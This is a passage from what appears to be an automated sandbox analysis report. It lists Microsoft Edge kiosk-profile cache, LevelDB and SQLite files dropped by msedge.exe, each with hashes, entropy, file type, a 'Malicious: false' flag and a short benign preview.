SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.1352216174516645
Encrypted:	false
SSDEEP:	6:ShHRq1wkn23oH+TcwtSQM72KLlgITL+q2Pwkn23oH+TcwtSQMxIFUv:abfYeb0L5evYfYebrFUv
MD5:	3AF6416B501CED2266838975BBA7166C
SHA1:	06D861E4082A27A476D465884658B0608D7463E0
SHA-256:	2F77D4D8AA71ECD6CBBA46B934CDBA0AC7E2DF5E808BBA864B3C49D75ECCF985
SHA-512:	67D6EA055E76699848CB2468CE6395899A9BDE220EBA278B0757D7A927F207EB426A16CE05124106550D1127CD3C91D9D906F39E461D9FE961F523C78F19BBB0
Malicious:	false
Preview:	2024/08/31-23:09:33.286 19a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage since it was missing..2024/08/31-23:09:33.303 19a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1408641154835735
Encrypted:	false
SSDEEP:	6:OxIGc81wkn23oH+TcwtgUh2gr52KLl5mM+q2Pwkn23oH+TcwtgUh2ghZIFUv:/1fYeb3hHJLH+vYfYeb3hHh2FUv
MD5:	A4522B989D49E3CC3B3E0F1DE670C1D0
SHA1:	FFBB9A814AEB1E092787A5BD9AFC36E62117F328
SHA-256:	3CBEB61D927377D765A90C8504CE24F176DE43023FF4C5CC77CCB629D2601788
SHA-512:	142E9A3338EC00208FFB7CDCB9782B48D8D0FDDFE60C9B64C7512AE975B3FFB461B8DEB1060EB06CE5DD19FD2511735BC5DCA8ABE69C03E97117DA82DE79B2CD
Malicious:	false
Preview:	2024/08/31-23:09:15.742 16ac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database since it was missing..2024/08/31-23:09:16.045 16ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:Lsulj1:LsW
MD5:	CB676400670E7F92A44DAF8882FC09BE
SHA1:	EE34123A2889BB01DFF36B7D09FDAF016FC1E8A2
SHA-256:	77CF308A9B22F74D7D23DFE6C8B242DA7BED8124C92FBD9989738BB7FE84C111
SHA-512:	CE8A883483652B1D78491B2A90B1CE2BB8B4ABA26CF212597B778691966B8A8A7695C2AD28A408F25C401048A3BF5BB33CE3BC18A679FCBA8E9E679C4A2FCF2C
Malicious:	false
Preview:	........................................a.3o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:883Kp0Ewe8V:8QK1w
MD5:	11961756539EAAAB8C0002E8654FB62B
SHA1:	42194167DC1389A9422D49D06954C80A225ADC91
SHA-256:	A66EA7E131CACEF6E19798E66696C10697CF98DF2ABB0D87B73AB8E3123CF769
SHA-512:	6EF6B148A3EF4453E90500FE2BE58637D6DB7A7502D02AF702F6048A93A5F63C824C39618C1624A880EDB3E7B3474B2F1C5B9D63A7648BAB502951AC5E9D7EF1
Malicious:	false
Preview:	(.....{.oy retne.........................;.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:883Kp0Ewe8V:8QK1w
MD5:	11961756539EAAAB8C0002E8654FB62B
SHA1:	42194167DC1389A9422D49D06954C80A225ADC91
SHA-256:	A66EA7E131CACEF6E19798E66696C10697CF98DF2ABB0D87B73AB8E3123CF769
SHA-512:	6EF6B148A3EF4453E90500FE2BE58637D6DB7A7502D02AF702F6048A93A5F63C824C39618C1624A880EDB3E7B3474B2F1C5B9D63A7648BAB502951AC5E9D7EF1
Malicious:	false
Preview:	(.....{.oy retne.........................;.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.8722243200613975
Encrypted:	false
SSDEEP:	3:pFBFjEnJbT:3wnt
MD5:	41C9C34FE59D818DEAFA758DC6F44513
SHA1:	3243947887AA0C94E572034BB43E9523EB76E01C
SHA-256:	7DDDC66C2CAFDE1627CEEB37C08EF081CF5D8B9689337A99C86BCAFFFE9948D5
SHA-512:	B278790709B4AA1DE9D49FB52C13DF621553188A7A41054261F33A2DB929F0FE851D7460E6152C6C3353A31CD81C643F748589829CF16AA0EE8763003DC4397E
Malicious:	false
Preview:	(...t ..oy retne.........................l.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.8722243200613975
Encrypted:	false
SSDEEP:	3:pFBFjEnJbT:3wnt
MD5:	41C9C34FE59D818DEAFA758DC6F44513
SHA1:	3243947887AA0C94E572034BB43E9523EB76E01C
SHA-256:	7DDDC66C2CAFDE1627CEEB37C08EF081CF5D8B9689337A99C86BCAFFFE9948D5
SHA-512:	B278790709B4AA1DE9D49FB52C13DF621553188A7A41054261F33A2DB929F0FE851D7460E6152C6C3353A31CD81C643F748589829CF16AA0EE8763003DC4397E
Malicious:	false
Preview:	(...t ..oy retne.........................l.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlQKll/:Ls3f//
MD5:	CD5C3A0D4FBF74262F0632FE702B874C
SHA1:	979C478A49EEADDB4BACF8A2F205885043DCA19C
SHA-256:	8B1441838901F092A599693405ED85185B49459B27B6BE88BDFB1D887BBAD749
SHA-512:	BEB0CB6F5B6F52D5E9F466B0655FFC7950C6AF6DAD20A1A5DC03B878418E51943191C58389CE0DDFFEEFFE105054EF070AC58E63F0B1333F106F76DA21B34B7C
Malicious:	false
Preview:	........................................T+.n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlQVt:Ls3ot
MD5:	4F63D338133CA76CF9DC6371D0B7F4B5
SHA1:	0A9DED68E7326D95AA37A1F7BFF6C1649E614F71
SHA-256:	0A5D87D4B1081471971E31AD7B6FB98283BE202B21AEAE7D00A52B269F6E7F70
SHA-512:	4A92602F6E4DC54F8516C7E7452D7303C9FE3563794D63D18DBFD9CD29F5D93FE78EB6F23DE195F7C77207930C127E95C2B78DC104495BD0BFAEE375CC718D52
Malicious:	false
Preview:	.........................................x.n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
